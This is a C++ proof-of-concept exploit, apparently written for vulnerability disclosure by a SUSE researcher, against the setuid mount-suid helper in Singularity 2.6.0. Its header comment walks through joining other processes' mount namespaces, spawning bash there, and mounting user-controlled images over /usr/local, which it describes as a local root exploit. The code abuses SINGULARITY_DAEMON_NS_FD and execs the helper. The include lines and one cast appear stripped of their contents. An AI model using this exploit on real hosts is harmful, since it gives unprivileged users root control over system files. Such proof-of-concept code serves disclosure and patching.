/* * Matthias Gerstner (SUSE Linux GmbH) * mgerstner@suse.de * * Proof of Concept that shows that the singularity version 2.6.0 mount-suid * program allows regular users to join arbitrary mount namespaces. * * Usage example: * * $ g++ -oattach_ns attach_ns.cpp * $ export SINGULARITY_IMAGE=/path/to/some.simg * $ ./attach_ns /proc/$$/ns * * This will try to open a bash shell attached to the mount namespace of the * caller, thereby mounting `some.simg` into the root mount namespace into * /var/singularity/mnt/final. * * You can also determine processes that live in separate mount namespaces by * calling `lsns -t mnt` as root: * * # lsns -t mnt * NS TYPE NPROCS PID USER COMMAND * 4026531840 mnt 123 1 root /usr/lib/systemd/systemd --switched-root --system --deserialize 33 * 4026531860 mnt 1 29 root kdevtmpfs * 4026532197 mnt 1 432 root /usr/lib/systemd/systemd-udevd * 4026532255 mnt 1 773 chrony /usr/sbin/chronyd * 4026532256 mnt 1 922 root /usr/sbin/spice-vdagentd * 4026532257 mnt 3 1021 root /usr/sbin/NetworkManager --no-daemon * * Then as the singularity user: * * $ ./attach_ns /proc/773/ns * * This would open a bash shell attached to the mount namespace that chronyd * lives in. * * By exploiting this mount namespace privilege escalation we can also mount * images in any system directory that is accessible to the singularity user. * For this we claim to mount a directory based image: * * $ export SINGULARITY_IMAGE=/usr/local * $ ./attach_ns /proc/$$/ns * * This will create a bind mount of /usr/local in /var/singularity/mnt/final * in the root mount namespace. This will never be unmounted. * * Now let's mount a file based image: * * $ export SINGULARITY_IMAGE=/path/to/some.simg * $ ./attach_ns /proc/$$/ns * * The image contents should now be visible in /usr/local. This is pretty much * a local root exploit, since we can replace system binaries and * configuration files by user controlled files. */ #include #include #include #include #include #include #include #include #include int main(const int argc, const char **argv) { if( argc != 2 ) { std::cerr << "Expected path to DAEMON_NS_FD directory as parameter" << std::endl; return 1; } int ns_fd = open(argv[1], O_PATH|O_RDONLY); if( ns_fd == -1 ) { std::cerr << "opening " << argv[1] << ": " << strerror(errno) << std::endl; return 1; } std::stringstream ss; ss << ns_fd; if( setenv("SINGULARITY_DAEMON_JOIN", "1", 1) != 0 || setenv("SINGULARITY_DAEMON_NS_FD", ss.str().c_str(), 1) != 0 ) { std::cerr << "failed to setenv(): " << strerror(errno) << std::endl; close (ns_fd); return 1; } const char *args[] = { "/usr/lib/singularity/bin/mount-suid", "/bin/bash", nullptr }; execve(args[0], const_cast(args), environ); std::cerr << "failed to execve(): " << strerror(errno) << std::endl; close(ns_fd); return 0; }